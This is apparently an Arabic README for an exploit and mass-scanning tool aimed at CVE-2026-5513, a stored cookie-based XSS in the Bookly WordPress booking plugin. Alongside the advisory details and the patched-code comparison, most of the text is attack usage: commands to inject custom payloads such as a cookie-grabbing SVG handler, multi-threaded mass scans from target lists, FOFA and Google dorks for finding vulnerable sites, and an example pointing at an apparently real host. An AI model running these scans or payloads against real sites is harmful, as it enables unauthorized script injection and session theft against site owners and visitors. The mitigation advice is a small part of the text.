
CVE-2026-5513: Bookly <= 27.2 ثغرة XSS مخزّنة عبر الكوكيز (بدون مصادقة)
| الحقل | القيمة |
|---|---|
| معرّف CVE | CVE-2026-5513 |
| نوع الثغرة | البرمجة النصية عبر المواقع المخزّنة (Stored XSS) |
| الإضافة | Bookly — نظام الجدولة عبر الإنترنت وحجز المواعيد |
| الإصدارات المتأثرة | ≤ 27.2 |
| الإصدار المُصحَّح | 27.3+ |
| CVSS 3.1 | 7.2 (عالية) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| CWE | CWE-79 |
| مصادقة مطلوبة | لا |
| شرط مسبق | يجب أن يكون خيار Remember personal information in cookies مفعّلًا (معطّل افتراضيًا) |
إضافة Bookly لووردبريس معرّضة لثغرة البرمجة النصية عبر المواقع (XSS) المخزّنة عبر ملف تعريف الارتباط bookly-customer-full-name في الإصدارات حتى 27.2 وذلك بسبب عدم كفاية تعقيم المدخلات وهروب المخرجات.
عند تفعيل إعداد «تذكر المعلومات الشخصية في ملفات تعريف الارتباط»، تقرأ الإضافة قيمة ملف تعريف الارتباط bookly-customer-full-name وتعرضها مباشرةً في HTML نموذج الحجز بدون هروب مناسب. يمكن لمهاجم غير مصادَق حقن حمولات JavaScript عشوائية عبر هذا الملف، ويتم تنفيذها عندما يزور أي مستخدم (بما في ذلك المسؤولون) صفحة تحتوي على نموذج حجز Bookly.
Attacker → Set malicious cookie (bookly-customer-full-name=<script>...</script>)
→ Visit page with Bookly booking form
→ Plugin reads cookie, renders value without escaping
→ XSS payload executes in victim's browser context
// VULNERABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name']; // No sanitization
echo '<input type="text" value="' . $full_name . '" />'; // No escaping
// PATCHED — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';
✓ Auto IP/Domain probing (HTTP/HTTPS, common ports, redirect detection)
✓ WordPress & Bookly plugin detection with version check
✓ Cookie setting detection (BooklyL10n JS analysis + canary reflection)
✓ Multi-context XSS testing (HTML, JavaScript, attribute injection)
✓ Payload injection with reflection verification
✓ Single target or mass scan from file
✓ Multi-threaded scanning (up to 20 threads)
✓ Proxy support (Burp, etc.)
✓ Auto-save vulnerable results
✓ Interactive menu + CLI modes
pip install requests colorama
# Check single target
python CVE-2026-5513.py -u https://target.com -v
# Check single IP (auto-probe ports + redirects)
python CVE-2026-5513.py -u 167.99.0.203 -v
# Check + inject XSS payload
python CVE-2026-5513.py -u https://target.com --inject -v
# Custom XSS payload
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"
# Mass scan from file
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt
# With Burp proxy
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080
python CVE-2026-5513.py
تقبل الأداة أيًا من هذه الصيغ في -u أو في ملف قائمة الأهداف:
https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080
بالنسبة لعناوين IP المجردة، تقوم الأداة تلقائيًا بـ:
167.99.0.203 → https://book.repairrite.com)/wp/, /blog/, /wordpress/, إلخ)STEP 0 → Probe target (IP/domain → resolve base URL, detect redirects)
STEP 1 → Detect Bookly plugin (readme.txt, plugin dir, assets, version check)
STEP 2 → Check cookie setting (BooklyL10n JS analysis + canary reflection test)
STEP 3 → Test XSS reflection (HTML context, JS context, attribute context)
STEP 4 → Inject payload (if --inject mode, verify reflection)
# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"
# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"
| الأولوية | الإجراء |
|---|---|
| 🔴 | تحديث Bookly إلى الإصدار 27.3 أو أحدث |
| 🟡 | تعطيل «تذكر المعلومات الشخصية في ملفات تعريف الارتباط» في إعدادات Bookly ← عام |
| 🟢 | نشر قواعد WAF لتصفية XSS في قيم ملفات تعريف الارتباط |
أُعدّت هذه الأداة لأغراض اختبار الاختراق المصرح به والتعليم فقط. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني. احصل دائمًا على إذن مناسب قبل الاختبار. المؤلف ليس مسؤولًا عن أي إساءة استخدام لهذه الأداة.
MIT
| Flag | الوصف |
|---|
-u URL | هدف واحد (رابط، نطاق، أو عنوان IP) |
-l FILE | ملف يحتوي على قائمة الأهداف (هدف واحد في كل سطر) |
--inject | حقن حمولة XSS (الافتراضي: فحص فقط) |
--payload STR | حمولة XSS مخصصة |
-t N | عدد الخيوط (الافتراضي: 10، الحد الأقصى: 20) |
--proxy URL | بروكسي HTTP (مثل: http://127.0.0.1:8080) |
-o FILE | حفظ النتائج في ملف |
-v | مخرجات مفصّلة |
| 🟢 | تطبيق ترويسات سياسة أمان المحتوى (CSP) |